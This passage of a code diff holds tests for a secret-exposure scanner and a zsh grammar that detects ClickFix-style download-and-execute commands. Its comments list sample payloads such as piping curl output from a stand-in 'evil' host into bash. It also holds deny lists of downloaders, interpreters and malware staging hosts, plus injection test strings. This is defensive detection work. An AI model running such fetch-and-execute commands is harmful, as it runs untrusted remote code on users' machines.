FIRST LINE of the note — that is the whole + point of this test. If the user's first line is a seed phrase, the "title" + IS the seed phrase. + """ + conn = sqlite3.connect(str(path)) + conn.execute("CREATE TABLE ZICNOTEDATA (Z_PK INTEGER PRIMARY KEY, ZDATA BLOB)") + conn.execute( + "CREATE TABLE ZICCLOUDSYNCINGOBJECT (" + " Z_PK INTEGER PRIMARY KEY," + " ZNOTEDATA INTEGER," + " ZTITLE1 TEXT," + " ZMODIFICATIONDATE1 REAL)" + ) + body = first_line + ("\n" + body_extra if body_extra else "") + conn.execute( + "INSERT INTO ZICNOTEDATA (Z_PK, ZDATA) VALUES (?, ?)", + (7, gzip.compress(body.encode("utf-8"))), + ) + conn.execute( + "INSERT INTO ZICCLOUDSYNCINGOBJECT (Z_PK, ZNOTEDATA, ZTITLE1, ZMODIFICATIONDATE1) " + "VALUES (?, ?, ?, ?)", + (1, 7, first_line, 775_000_000.0), + ) + conn.commit() + conn.close() + + +class TestAppleNotesEndToEnd(unittest.TestCase): + """The load-bearing test. Real scanner -> real renderer -> real sidecar.""" + + def setUp(self): + self.tmpdir = Path(tempfile.mkdtemp(prefix="exposurescan_notes_")) + self.store = self.tmpdir / "NoteStore.sqlite" + + def tearDown(self): + shutil.rmtree(self.tmpdir, ignore_errors=True) + + def _run(self, first_line, body_extra=""): + _build_notestore(self.store, first_line, body_extra) + result = es.ScanResult() + es._scan_notestore(result, self.store) + markdown = es.render_markdown(result, self.tmpdir) + sidecar = json.dumps(es.build_json_sidecar(result, self.tmpdir)) + return result, markdown, sidecar + + def test_seed_phrase_title_never_reaches_any_artifact(self): + result, markdown, sidecar = self._run( + SEED_PHRASE, body_extra="recovery phrase for my hardware wallet" + ) + self.assertTrue(result.findings, "the note should have been flagged at all") + # Baseline: the same renderer with NO findings. Several BIP-39 words + # ("able", "access", "absent") are substrings or words of the report's + # own fixed boilerplate ("reusable", "disk access = full pivot"), so the + # honest assertion is that the note contributed ZERO new occurrences. + # The baseline carries one inert P0 finding so the same tier sections + # (and therefore the same boilerplate) render in both reports. + empty = es.ScanResult() + empty.add(es.Finding( + surface="apple-notes", tier="P0", name="placeholder", + category="note-secret", detail="placeholder", + pivot="wallet drain / irreversible crypto theft", + location="Apple Notes", + )) + base_md = es.render_markdown(empty, self.tmpdir) + base_js = json.dumps(es.build_json_sidecar(empty, self.tmpdir)) + for word in SEED_WORDS: + pat = re.compile(rf"\b{re.escape(word)}\b", re.I) + self.assertEqual( + len(pat.findall(markdown)), len(pat.findall(base_md)), + f"SEED WORD IN MARKDOWN: {word!r}") + self.assertEqual( + len(pat.findall(sidecar)), len(pat.findall(base_js)), + f"SEED WORD IN JSON: {word!r}") + # And the phrase itself, in any 3-word window, must be absent. + for i in range(len(SEED_WORDS) - 2): + window = " ".join(SEED_WORDS[i:i + 3]) + self.assertNotIn(window, markdown) + self.assertNotIn(window, sidecar) + + def test_finding_is_still_actionable(self): + result, markdown, _ = self._run( + SEED_PHRASE, body_extra="recovery phrase for my hardware wallet" + ) + f = result.findings[0] + self.assertEqual(f.tier, "P0") + self.assertIn("Note #7", f.name) + self.assertIn("chars", f.name) # title LENGTH, not title + self.assertIn("modified", f.name) # how the user finds it again + self.assertIn("seed-phrase", f.name) + self.assertIn("title withheld", f.detail) + self.assertIn("Note #7", markdown) + + def test_markdown_injection_via_title(self): + _, markdown, _ = self._run( + "\n### P0 - INJECTED FINDING\npassword: hunter2", + ) + self.assertEqual(markdown.count("###"), 1, + "a note title forged an extra finding heading") + self.assertNotIn("INJECTED FINDING", markdown) + + def test_ansi_never_reaches_the_report(self): + _, markdown, sidecar = self._run("shopping\x1b[31mRED password: hunter2") + self.assertNotIn("\x1b", markdown) + self.assertNotIn("\x1b", sidecar) + self.assertNotIn("hunter2", markdown) + self.assertNotIn("hunter2", sidecar) + + +# --------------------------------------------------------------------------- +# 3. END-TO-END: PII filenames +# --------------------------------------------------------------------------- + +class TestPiiFilenameEndToEnd(unittest.TestCase): + + def setUp(self): + self.home = Path(tempfile.mkdtemp(prefix="exposurescan_home_")) + (self.home / "Documents").mkdir() + self.target = self.home / "Documents" / PII_FILENAME + self.target.write_text("statement for account ending 1111\n") + self._real_home = Path.home + Path.home = staticmethod(lambda: self.home) # type: ignore[assignment] + + def tearDown(self): + Path.home = self._real_home # type: ignore[assignment] + shutil.rmtree(self.home, ignore_errors=True) + + def test_card_number_in_filename_never_emitted(self): + result = es.ScanResult() + es.scan_pii_markers(result) + markdown = es.render_markdown(result, self.home) + sidecar = json.dumps(es.build_json_sidecar(result, self.home)) + self.assertNotIn("4111", markdown, "CARD NUMBER LEAKED INTO MARKDOWN") + self.assertNotIn("4111", sidecar, "CARD NUMBER LEAKED INTO JSON") + + def test_withheld_filename_is_still_findable(self): + result = es.ScanResult() + es.scan_pii_markers(result) + files = [f for f in result.findings if f.category == "pii-file"] + self.assertTrue(files) + f = files[0] + self.assertIn("filename withheld", f.name) + self.assertIn("credit-card", f.name) + self.assertIn("Documents", f.name) # parent dir survives + self.assertIn("UTC", f.name) # mtime survives + self.assertNotIn("4111", f.location) + + def test_benign_filename_is_kept(self): + benign = self.home / "Documents" / "contacts.csv" + benign.write_text("someone@example.test\n") + self.target.unlink() + result = es.ScanResult() + es.scan_pii_markers(result) + names = " ".join(f.name for f in result.findings) + self.assertIn("contacts.csv", names) + + +# --------------------------------------------------------------------------- +# 4. Temp-file hygiene around the credential DB copy +# --------------------------------------------------------------------------- + +class TestTempCopyHygiene(unittest.TestCase): + + def setUp(self): + self.tmpdir = Path(tempfile.mkdtemp(prefix="exposurescan_tmpc_")) + self.src = self.tmpdir / "Login Data" + conn = sqlite3.connect(str(self.src)) + conn.execute("CREATE TABLE logins (origin_url TEXT)") + conn.commit() + conn.close() + # Reproduce the real-world case: source is 0644, as Chrome leaves it. + os.chmod(self.src, 0o644) + + def tearDown(self): + shutil.rmtree(self.tmpdir, ignore_errors=True) + + def test_temp_copy_is_0600(self): + """v0.1.0 used shutil.copy2, whose copystat widened 0600 back to 0644.""" + with es._TempCopyConn(self.src) as conn: + tmp = None + for base in list(es._TEMP_PATHS): + if os.path.exists(base): + tmp = base + self.assertIsNotNone(tmp, "temp copy was not registered for cleanup") + mode = stat.S_IMODE(os.stat(tmp).st_mode) + self.assertEqual( + mode, 0o600, + f"temp copy of a credential DB is mode {oct(mode)}, expected 0600", + ) + conn.execute("SELECT count(*) FROM logins").fetchone() + self.assertFalse(os.path.exists(tmp), "temp copy survived __exit__") + + def test_temp_removed_on_exception_inside_enter(self): + """A TCC PermissionError mid-copy must not orphan a partial DB.""" + before = set(es._TEMP_PATHS) + missing = self.tmpdir / "does-not-exist.sqlite" + with self.assertRaises(OSError): + with es._TempCopyConn(missing): + pass # pragma: no cover + leaked = [p for p in es._TEMP_PATHS - before if os.path.exists(p)] + self.assertEqual(leaked, [], f"orphaned temp files: {leaked}") + + def test_temp_removed_on_exception_inside_body(self): + before = set(es._TEMP_PATHS) + with self.assertRaises(RuntimeError): + with es._TempCopyConn(self.src): + raise RuntimeError("boom") + leaked = [p for p in es._TEMP_PATHS - before if os.path.exists(p)] + self.assertEqual(leaked, [], f"orphaned temp files: {leaked}") + + def test_wal_contents_are_not_ignored(self): + """ + v0.1.0 copied the -wal sidecar but opened `immutable=1`, which makes + SQLite skip WAL recovery entirely — silently under-counting the most + recent logins in a report whose only output is a risk score. + """ + src = self.tmpdir / "wal.sqlite" + conn = sqlite3.connect(str(src)) + conn.execute("PRAGMA journal_mode=WAL") + conn.execute("PRAGMA wal_autocheckpoint=0") + conn.execute("CREATE TABLE logins (origin_url TEXT)") + conn.commit() + for i in range(50): + conn.execute("INSERT INTO logins VALUES (?)", (f"https://h{i}.test/",)) + conn.commit() + self.assertGreater(os.path.getsize(str(src) + "-wal"), 0, "no WAL to test") + try: + with es._TempCopyConn(src) as c: + n = c.execute("SELECT count(*) FROM logins").fetchone()[0] + self.assertEqual(n, 50, "rows parked in the WAL were dropped") + finally: + conn.close() + + +# --------------------------------------------------------------------------- +# 5. Report files are private and atomic +# --------------------------------------------------------------------------- + +class TestPrivateWrites(unittest.TestCase): + + def setUp(self): + self.tmpdir = Path(tempfile.mkdtemp(prefix="exposurescan_out_")) + # scan_dot_secrets / scan_pii_markers key off Path.home(); point them at + # an empty fake home so the CLI test never touches the real machine. + self.fake_home = Path(tempfile.mkdtemp(prefix="exposurescan_fakehome_")) + self._real_home = Path.home + Path.home = staticmethod(lambda: self.fake_home) # type: ignore[assignment] + + def tearDown(self): + Path.home = self._real_home # type: ignore[assignment] + shutil.rmtree(self.tmpdir, ignore_errors=True) + shutil.rmtree(self.fake_home, ignore_errors=True) + + def test_report_is_0600(self): + out = self.tmpdir / "nested" / "report.md" + es.write_private(out, "# hello\n") + self.assertEqual(stat.S_IMODE(os.stat(out).st_mode), 0o600) + self.assertEqual(out.read_text(), "# hello\n") + + def test_no_temp_left_behind(self): + out = self.tmpdir / "report.json" + es.write_private(out, "{}") + leftovers = [p.name for p in self.tmpdir.iterdir() if p.name != "report.json"] + self.assertEqual(leftovers, []) + + def test_cli_end_to_end_writes_0600(self): + target = self.tmpdir / "scope" + target.mkdir() + (target / ".env").write_text("PUBLIC_APP_NAME=demo\n") + md = self.tmpdir / "r.md" + js = self.tmpdir / "r.json" + stdout, sys.stdout = sys.stdout, open(os.devnull, "w") + stderr, sys.stderr = sys.stderr, open(os.devnull, "w") + try: + es.main([ + "--target", str(target), "--out", str(md), "--json", str(js), + "--no-notes", "--no-browser", + ]) + finally: + sys.stdout.close(); sys.stdout = stdout + sys.stderr.close(); sys.stderr = stderr + self.assertEqual(stat.S_IMODE(os.stat(md).st_mode), 0o600) + self.assertEqual(stat.S_IMODE(os.stat(js).st_mode), 0o600) + + +# --------------------------------------------------------------------------- +# 6. The value-shape side channel +# --------------------------------------------------------------------------- + +class TestValueShapeChannel(unittest.TestCase): + """ + v0.2.0 moved generated metadata out of `name` into `Finding.shape`, which + bypasses redact() on purpose. That makes `shape` the one field that could + become a new leak, so it gets its own tests. + """ + + def setUp(self): + self.tmpdir = Path(tempfile.mkdtemp(prefix="exposurescan_shape_")) + (self.tmpdir / ".env").write_text( + "STRIPE_SECRET_KEY=PLACEHOLDER-high-entropy-token-0123456789-XYZ\n" + "DATABASE_URL=postgres://u:PLACEHOLDERpw@db.example.test:5432/app\n" + ) + + def tearDown(self): + shutil.rmtree(self.tmpdir, ignore_errors=True) + + def test_shape_is_useful_and_value_free(self): + result = es.ScanResult() + es.scan_env_files(result, self.tmpdir) + markdown = es.render_markdown(result, self.tmpdir) + sidecar = json.dumps(es.build_json_sidecar(result, self.tmpdir)) + self.assertIn("Value shape:", markdown) + self.assertIn("high-entropy", markdown) + self.assertIn("Postgres connection URI", markdown) + for forbidden in ("PLACEHOLDER-high-entropy-token", "PLACEHOLDERpw"): + self.assertNotIn(forbidden, markdown) + self.assertNotIn(forbidden, sidecar) + + def test_key_names_still_survive_redaction(self): + result = es.ScanResult() + es.scan_env_files(result, self.tmpdir) + names = " ".join(es.redact(f.name) for f in result.findings) + self.assertIn("STRIPE_SECRET_KEY", names) + self.assertIn("DATABASE_URL", names) + + +class TestMnemonicDetection(unittest.TestCase): + """Detection was as broken as redaction: only the LABEL was ever matched.""" + + def test_bare_mnemonic_is_detected(self): + self.assertTrue(es.looks_like_mnemonic(SEED_PHRASE)) + self.assertIn("seed-phrase", es._match_categories(SEED_PHRASE)) + + def test_ordinary_prose_is_not(self): + prose = ( + "Remember to pick up milk, call the plumber about the leak in the " + "kitchen, and email Dana the revised quote before Friday afternoon." + ) + self.assertFalse(es.looks_like_mnemonic(prose)) + self.assertEqual(es._match_categories(prose), set()) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/lib/clickfix-grammar.zsh b/lib/clickfix-grammar.zsh new file mode 100644 index 0000000..6bbae86 --- /dev/null +++ b/lib/clickfix-grammar.zsh @@ -0,0 +1,672 @@ +# clickfix-grammar.zsh — ClickFix Defense Kit — SHARED DETECTION GRAMMAR +# ============================================================================= +# The single source of truth for "is this command a download-and-execute +# attack?". ShellGuard (execute-time) and ClipSentinel (copy-time) both source +# this file, so the two layers can never disagree again. +# +# WHY THIS FILE EXISTS +# -------------------- +# v0.1.0 matched a set of regexes against the raw command string. A red-team +# pass against that grammar passed 9 of 13 realistic ClickFix payloads, +# because a regex over an unparsed string cannot survive ordinary shell syntax: +# +# curl "https://evil/x?a=1&b=2" | sh the '&' broke a [^|;&]* run +# curl https://evil/x | bash; a trailing ';' broke ([[:space:]]|$) +# curl https://evil/x | /bin/sh a path prefix broke a bare literal +# bash -c "$(curl -fsSL https://evil/x)" no pipe-to-interpreter shape at all +# curl -o /tmp/p https://evil/x; sh /tmp/p download and exec in 2 statements +# +# So this is not a regex list. It is a small tokenizer that respects quoting, +# splits the buffer into statements and pipeline stages, normalizes each +# stage's command word (stripping sudo/env/command prefixes, quotes, +# backslashes and leading paths), classifies it, and then applies rules to the +# resulting STRUCTURE. Evading it requires changing what the command does, not +# how it is spelled. +# +# TWO TIERS +# --------- +# 'block' demands a typed confirmation phrase. 'warn' shows the banner and +# takes a single Enter. The tier split exists because over-prompting is the #1 +# reason a guard gets uninstalled, and an uninstalled guard catches nothing. +# Heuristics with real false-positive rates (two-step download, homoglyphs, +# hdiutil) live at 'warn'. Unambiguous attack shapes live at 'block'. +# +# DEFENSIVE USE ONLY. Reads the command line; no network, no logging of values. +# ============================================================================= + +[[ -n ${_CLICKFIX_GRAMMAR_LOADED:-} ]] && return 0 +typeset -g _CLICKFIX_GRAMMAR_LOADED=1 + +# ----------------------------------------------------------------------------- +# Command classification tables +# ----------------------------------------------------------------------------- + +# Anything that pulls bytes off the network. +typeset -ga CLICKFIX_DOWNLOADERS +CLICKFIX_DOWNLOADERS=( + curl wget fetch nscurl aria2c httpie http https + ftp tftp scp sftp rsync nc ncat netcat socat +) + +# Anything that will execute what it is handed. +typeset -ga CLICKFIX_INTERPRETERS +CLICKFIX_INTERPRETERS=( + sh bash zsh dash ksh csh tcsh fish ash + osascript python perl ruby node deno bun php + tclsh lua Rscript pwsh powershell swift expect awk +) + +# Anything that unwraps an obfuscated payload. base64 is only the best known. +typeset -ga CLICKFIX_DECODERS +CLICKFIX_DECODERS=( + base64 xxd uudecode uncompress gunzip gzip zcat bunzip2 bzcat + unxz xzcat zstd openssl tr rev od plutil +) + +# Words that can sit in front of the real command word without changing it. +typeset -ga CLICKFIX_PREFIXES +CLICKFIX_PREFIXES=( + sudo doas su command exec env nice nohup time stdbuf setsid + caffeinate arch builtin xargs script +) + +# ----------------------------------------------------------------------------- +# Trust data +# ----------------------------------------------------------------------------- +# CLICKFIX_ALLOW_HOSTS holds SINGLE-TENANT installer endpoints only: hosts where +# the domain owner controls every byte served. A host where any member of the +# public can publish arbitrary content can NEVER be a trust anchor by hostname. +# +# v0.1.0 shipped raw.githubusercontent.com and raw.github.com here, which meant +# any attacker with a free GitHub account could stage a payload on a silently +# trusted host. Those are gone. GitHub raw is now trusted only via +# CLICKFIX_ALLOW_URL_PREFIXES, which matches host AND path prefix, so trust is +# scoped to specific upstream orgs. +typeset -ga CLICKFIX_ALLOW_HOSTS +: ${CLICKFIX_ALLOW_HOSTS:=} +if (( ${#CLICKFIX_ALLOW_HOSTS} == 0 )); then + CLICKFIX_ALLOW_HOSTS=( + sh.rustup.rs + static.rust-lang.org + get.docker.com + install.python-poetry.org + get.pnpm.io + get.sdkman.io + get.volta.sh + deb.nodesource.com + brew.sh + bun.sh + astral.sh + deno.land + ) +fi + +# Trust scoped to scheme+host+path-prefix. This is how a multi-tenant host can +# be trusted at all: only these upstream projects, not the whole domain. +typeset -ga CLICKFIX_ALLOW_URL_PREFIXES +: ${CLICKFIX_ALLOW_URL_PREFIXES:=} +if (( ${#CLICKFIX_ALLOW_URL_PREFIXES} == 0 )); then + CLICKFIX_ALLOW_URL_PREFIXES=( + raw.githubusercontent.com/ohmyzsh/ + raw.githubusercontent.com/Homebrew/ + raw.githubusercontent.com/nvm-sh/ + raw.githubusercontent.com/rbenv/ + raw.githubusercontent.com/pyenv/ + raw.githubusercontent.com/asdf-vm/ + ) +fi + +# Hosts that can never be allowlisted and that ESCALATE the warning text. +# These are the staging hosts current infostealer campaigns actually use. +typeset -ga CLICKFIX_HIGH_RISK_HOSTS +CLICKFIX_HIGH_RISK_HOSTS=( + gist.githubusercontent.com objects.githubusercontent.com + cdn.discordapp.com media.discordapp.net + pastebin.com paste.ee hastebin.com termbin.com + ipfs.io dweb.link cloudflare-ipfs.com + t.me telegra.ph + transfer.sh 0x0.st bashupload.com file.io anonfiles.com temp.sh + ngrok.io ngrok-free.app trycloudflare.com +) + +# Python -m modules that are data formatters, not code loaders. A pipe into one +# of these downgrades to 'warn' instead of 'block' so `curl api | python3 -m +# json.tool` does not train the user to ignore the guard. +typeset -ga CLICKFIX_SAFE_MODULES +CLICKFIX_SAFE_MODULES=( json.tool base64 csv this calendar tabnanny ) + +# ----------------------------------------------------------------------------- +# Results (set by clickfix_check) +# ----------------------------------------------------------------------------- +typeset -g CLICKFIX_VERDICT=silent # block | warn | silent +typeset -ga CLICKFIX_REASONS # human-readable explanation lines +typeset -ga CLICKFIX_HOSTS # every host seen in the buffer +typeset -g CLICKFIX_HIGH_RISK=0 # 1 if a known staging host appeared + +# Internal scanner output +typeset -ga _cfg_stages # stage strings; $'\x1e' marks a statement break +typeset -g _cfg_clean='' # buffer with comments stripped +typeset -g _cfg_unquoted='' # buffer with quoted spans blanked out + +# ============================================================================= +# SCANNER +# ============================================================================= +# One pass over the buffer, tracking quote state, producing: +# _cfg_stages pipeline stages, with $'\x1e' elements marking statement breaks +# _cfg_clean the buffer minus unquoted # comments (a trailing decoy comment +# is standard ClickFix tradecraft AND was a v0.1.0 evasion) +# _cfg_unquoted the buffer with quoted spans replaced by spaces, so a rule can +# ask "did this token appear OUTSIDE a string?" — which is what +# stops `git commit -m "note about /dev/tcp/x/9000"` from firing +_cfg_scan() { + emulate -L zsh + setopt local_options no_glob no_nomatch no_unset + + local s=$1 + local -i i=1 n=${#s} + local c q='' cur='' prev=' ' + local -a stages + local RS=$'\x1e' + + _cfg_stages=() + _cfg_clean='' + _cfg_unquoted='' + stages=() + + while (( i <= n )); do + c=${s[i]} + + # Inside a quoted span: consume verbatim until the matching quote. + if [[ -n $q ]]; then + cur+=$c; _cfg_clean+=$c; _cfg_unquoted+=' ' + [[ $c == $q ]] && q='' + prev=$c; (( i++ )); continue + fi + + case $c in + '\') + # Backslash escapes the next char. Keep both in the stage text so + # normalization can strip them, but never let the escaped char act + # as a separator. This is what makes `| \sh` resolve to `sh`. + cur+=$c; _cfg_clean+=$c; _cfg_unquoted+=' ' + (( i++ )) + if (( i <= n )); then + cur+=${s[i]}; _cfg_clean+=${s[i]}; _cfg_unquoted+=' ' + (( i++ )) + fi + prev='\' + continue + ;; + + "'"|'"') + q=$c + cur+=$c; _cfg_clean+=$c; _cfg_unquoted+=' ' + prev=$c; (( i++ )); continue + ;; + + '#') + # A comment only starts at a word boundary, so a URL fragment + # (https://x/#frag) is not treated as one. + if [[ $prev == ' ' || $prev == $'\t' || $prev == $'\n' ]]; then + while (( i <= n )) && [[ ${s[i]} != $'\n' ]]; do (( i++ )); done + continue + fi + cur+=$c; _cfg_clean+=$c; _cfg_unquoted+=$c + prev=$c; (( i++ )); continue + ;; + + ';'|$'\n') + stages+=("$cur"); cur='' + _cfg_stages+=("${stages[@]}") ; _cfg_stages+=("$RS") + stages=() + _cfg_clean+=' ; '; _cfg_unquoted+=' ' + prev=' '; (( i++ )); continue + ;; + + '&') + # '&&' and a bare backgrounding '&' both end the statement. + stages+=("$cur"); cur='' + _cfg_stages+=("${stages[@]}"); _cfg_stages+=("$RS") + stages=() + [[ ${s[i+1]:-} == '&' ]] && (( i++ )) + _cfg_clean+=' ; '; _cfg_unquoted+=' ' + prev=' '; (( i++ )); continue + ;; + + '|') + if [[ ${s[i+1]:-} == '|' ]]; then + # '||' is a statement break, not a pipe. + stages+=("$cur"); cur='' + _cfg_stages+=("${stages[@]}"); _cfg_stages+=("$RS") + stages=() + _cfg_clean+=' ; '; _cfg_unquoted+=' ' + prev=' '; (( i += 2 )); continue + fi + stages+=("$cur"); cur='' + _cfg_clean+=' | '; _cfg_unquoted+=' ' + prev=' '; (( i++ )); continue + ;; + + *) + cur+=$c; _cfg_clean+=$c; _cfg_unquoted+=$c + prev=$c; (( i++ )); continue + ;; + esac + done + + stages+=("$cur") + _cfg_stages+=("${stages[@]}"); _cfg_stages+=("$RS") +} + +# ============================================================================= +# NORMALIZATION +# ============================================================================= + +# _cfg_cmdword <stage> +# Reduce a pipeline stage to its effective command word: strip leading +# environment assignments, strip prefix commands (with their flags), strip +# quotes and backslashes, strip any leading path. `| sudo -u nobody /bin/\sh -x` +# normalizes to `sh`. +_cfg_cmdword() { + emulate -L zsh + # extended_glob is REQUIRED: the `[0-9.]#` and `[A-Za-z0-9_]#` patterns below + # are extended-glob syntax, and `emulate -L zsh` turns it off by default. + setopt local_options no_nomatch extended_glob + + local stage=$1 + local -a toks + toks=( ${(z)stage} ) 2>/dev/null || toks=( ${=stage} ) + (( ${#toks} == 0 )) && { print -r -- ''; return } + + local -i idx=1 + local w bare + while (( idx <= ${#toks} )); do + w=${toks[idx]} + # Strip quotes and backslashes so `'sh'` and `\sh` both resolve to `sh`. + bare=${w//[\'\"\\]/} + [[ -z $bare ]] && { (( idx++ )); continue } + + # Leading VAR=value assignments are not the command. + if [[ $bare == [A-Za-z_][A-Za-z0-9_]#=* ]]; then + (( idx++ )); continue + fi + + local base=${bare:t} # basename: /bin/sh -> sh + + # A prefix command: skip it and any of its flags (and -u/-g arguments). + if (( ${CLICKFIX_PREFIXES[(Ie)$base]} )); then + (( idx++ )) + while (( idx <= ${#toks} )); do + local nx=${toks[idx]//[\'\"\\]/} + if [[ $nx == -* ]]; then + # `sudo -u user` consumes an argument. + if [[ $nx == (-u|-g|-U|--user|--group) ]]; then (( idx++ )); fi + (( idx++ )) + else + break + fi + done + continue + fi + + print -r -- "$base" + return + done + print -r -- '' +} + +# _cfg_family <cmdword> +# Collapse versioned interpreter names: python3.11 -> python, php8 -> php. +_cfg_family() { + emulate -L zsh + setopt local_options extended_glob + local w=$1 + case $w in + python[0-9.]#) print -r -- python ;; + perl[0-9.]#) print -r -- perl ;; + ruby[0-9.]#) print -r -- ruby ;; + node[0-9.]#) print -r -- node ;; + php[0-9.]#) print -r -- php ;; + *) print -r -- "$w" ;; + esac +} + +_cfg_is_downloader() { (( ${CLICKFIX_DOWNLOADERS[(Ie)$(_cfg_family $1)]} )) } +_cfg_is_interpreter() { (( ${CLICKFIX_INTERPRETERS[(Ie)$(_cfg_family $1)]} )) } +_cfg_is_decoder() { (( ${CLICKFIX_DECODERS[(Ie)$(_cfg_family $1)]} )) } + +# ============================================================================= +# URL / TRUST +# ============================================================================= + +# _cfg_urls <buffer> — every http(s) URL, one per line. +_cfg_urls() { + emulate -L zsh + setopt local_options no_glob + print -r -- "$1" | grep -oE 'https?://[^[:space:]"'\''`)<>]+' 2>/dev/null +} + +# _cfg_host <url> — bare lowercase hostname, userinfo/port/path stripped. +# The userinfo strip matters: https://sh.rustup.rs@evil.tld/x must resolve to +# evil.tld, which is where the request actually goes. +_cfg_host() { + emulate -L zsh + local u=${1#http://}; u=${u#https://} + u=${u##*@} # strip userinfo + u=${u%%/*} # strip path + u=${u%%\?*} + u=${u%%:*} # strip port + print -r -- "${(L)u}" +} + +# _cfg_url_trusted <url> +# Exact host match against single-tenant installers, or host+path-prefix match. +# There is deliberately NO wildcard-subdomain rule: *.host trust was how +# v0.1.0 blanket-trusted a multi-tenant domain. +_cfg_url_trusted() { + emulate -L zsh + local url=$1 + local host=$(_cfg_host "$url") + local hostpath=${url#http://}; hostpath=${hostpath#https://} + hostpath=${hostpath##*@} + hostpath=${(L)hostpath} + + local a + for a in $CLICKFIX_ALLOW_HOSTS; do + [[ $host == ${(L)a} ]] && return 0 + done + for a in $CLICKFIX_ALLOW_URL_PREFIXES; do + [[ $hostpath == ${(L)a}* ]] && return 0 + done + return 1 +} + +# _cfg_all_urls_trusted <buffer> +# True only if there is at least one URL and every one of them is trusted. +_cfg_all_urls_trusted() { + emulate -L zsh + local -a urls + urls=( ${(f)"$(_cfg_urls "$1")"} ) + (( ${#urls} == 0 )) && return 1 + local u + for u in $urls; do + [[ -z $u ]] && continue + _cfg_url_trusted "$u" || return 1 + done + return 0 +} + +# ============================================================================= +# DISPLAY SAFETY +# ============================================================================= +# The buffer is attacker-controlled. Printing it raw lets a payload emit ANSI +# to scroll the warning off screen or paint a fake confirmation line into the +# kit's own banner. Strip C0/C1 controls and zero-width/bidi codepoints, and +# cap the height. +clickfix_sanitize_for_display() { + emulate -L zsh + setopt local_options no_glob + local s=$1 + local -i maxlines=${2:-12} + s=${s//[$'\x00'-$'\x08'$'\x0b'-$'\x1f'$'\x7f']/'?'} + s=${s//$'\u200b'/'<ZWSP>'} + s=${s//$'\u200c'/'<ZWNJ>'} + s=${s//$'\u200d'/'<ZWJ>'} + s=${s//$'\ufeff'/'<BOM>'} + s=${s//$'\u202f'/'<NNBSP>'} + local -a lines + lines=( ${(f)s} ) + if (( ${#lines} > maxlines )); then + local -i extra=$(( ${#lines} - maxlines )) + s="${(F)lines[1,$maxlines]}"$'\n'" ... (truncated, $extra more line(s))" + fi + print -r -- "$s" +} + +# ============================================================================= +# RULES +# ============================================================================= +# Verdicts escalate: silent -> warn -> block. Reasons carry a waivability flag, +# because the trusted-host allowlist must only ever waive the plain +# "download and run an installer" shape. It must NEVER waive osascript, +# /dev/tcp, quarantine stripping, or an obfuscated decoder — v0.1.0 applied the +# allowlist uniformly after all patterns, which silently waived its own +# always-hostile osascript rule. + +typeset -g _cfg_waivable_only=1 + +_cfg_raise() { + # _cfg_raise <tier> <waivable 0|1> <reason text> + local tier=$1 waivable=$2 text=$3 + (( waivable )) || _cfg_waivable_only=0 + CLICKFIX_REASONS+=( "$text" ) + if [[ $tier == block ]]; then + CLICKFIX_VERDICT=block + elif [[ $tier == warn && $CLICKFIX_VERDICT != block ]]; then + CLICKFIX_VERDICT=warn + fi +} + +# clickfix_check <buffer> +# Sets CLICKFIX_VERDICT, CLICKFIX_REASONS, CLICKFIX_HOSTS, CLICKFIX_HIGH_RISK. +clickfix_check() { + emulate -L zsh + setopt local_options no_nomatch extended_glob + + local buf=$1 + CLICKFIX_VERDICT=silent + CLICKFIX_REASONS=() + CLICKFIX_HOSTS=() + CLICKFIX_HIGH_RISK=0 + _cfg_waivable_only=1 + + [[ -z ${buf//[[:space:]]/} ]] && return 0 + + _cfg_scan "$buf" + local clean=$_cfg_clean + local unq=$_cfg_unquoted + local RS=$'\x1e' + + # ---- host inventory -------------------------------------------------- + local -a urls + urls=( ${(f)"$(_cfg_urls "$clean")"} ) + local u h risky + for u in $urls; do + [[ -z $u ]] && continue + h=$(_cfg_host "$u") + [[ -n $h ]] && CLICKFIX_HOSTS+=( "$h" ) + for risky in $CLICKFIX_HIGH_RISK_HOSTS; do + if [[ $h == ${(L)risky} || $h == *.${(L)risky} ]]; then + CLICKFIX_HIGH_RISK=1 + fi + done + done + + # ---- walk statements, classifying each pipeline stage ---------------- + local -a stmt + local stage cw + local -i saw_dl saw_dec si + local -a stmt_words + + stmt=() + local elem + for elem in "${_cfg_stages[@]}"; do + if [[ $elem != $RS ]]; then + stmt+=( "$elem" ) + continue + fi + + # --- end of a statement: apply per-statement rules --- + if (( ${#stmt} > 0 )); then + saw_dl=0; saw_dec=0 + for (( si = 1; si <= ${#stmt}; si++ )); do + stage=${stmt[si]} + [[ -z ${stage//[[:space:]]/} ]] && continue + cw=$(_cfg_cmdword "$stage") + [[ -z $cw ]] && continue + + # RULE A — a downloader or decoder earlier in the pipeline, an + # interpreter later. Covers curl|sh, curl|tee|sh, curl|gunzip|bash, + # base64 -d|sh, and every interposed-stage variant in one rule. + if _cfg_is_interpreter "$cw" && (( saw_dl || saw_dec )); then + local tier=block + # `curl api | python3 -m json.tool` is a data formatter, not a + # code loader. Downgrade rather than train the user to ignore us. + if [[ $stage == *-m[[:space:]]* ]]; then + local m + for m in $CLICKFIX_SAFE_MODULES; do + [[ $stage == *"-m "*"$m"* ]] && tier=warn + done + fi + if (( saw_dl )); then + _cfg_raise $tier 1 "Downloads code from the internet and pipes it straight into ${cw} — it runs without you ever reading it." + else + _cfg_raise $tier 0 "Decodes hidden/obfuscated text and pipes it straight into ${cw} — a classic way to hide the real payload." + fi + fi + + # RULE B — interpreter -c/-e whose inline program itself downloads. + # This is the `bash -c "$(curl ...)"` shape, which has no pipe at all. + if _cfg_is_interpreter "$cw" && [[ $stage == *(-c|-e|--eval|--exec)[[:space:]]* ]]; then + if [[ $stage == *'$('* || $stage == *'`'* ]]; then + local d found=0 + for d in $CLICKFIX_DOWNLOADERS; do + [[ $stage == *"$d"* ]] && found=1 + done + (( found )) && _cfg_raise block 1 "Runs an inline ${cw} program that downloads and executes remote code." + fi + # RULE H — inline program with BOTH a network primitive and an exec + # primitive. v0.1.0 fired on either one alone, so + # `python3 -c "import os; os.system(1)"` was flagged with no network + # involved at all. Requiring both kills that false positive. + local netp=0 execp=0 p + for p in urllib urlopen 'requests.get' http socket 'open-uri' 'Net::HTTP' 'child_process' fetch; do + [[ $stage == *"$p"* ]] && netp=1 + done + for p in 'exec(' 'eval(' 'os.system' 'system(' subprocess popen spawn '`'; do + [[ $stage == *"$p"* ]] && execp=1 + done + (( netp && execp )) && _cfg_raise block 1 "Inline ${cw} program both fetches from the network and executes what it fetched." + fi + + # RULE E — AppleScript shelling out to a downloader. AMOS uses + # osascript for the fake password dialog, and the applescript:// 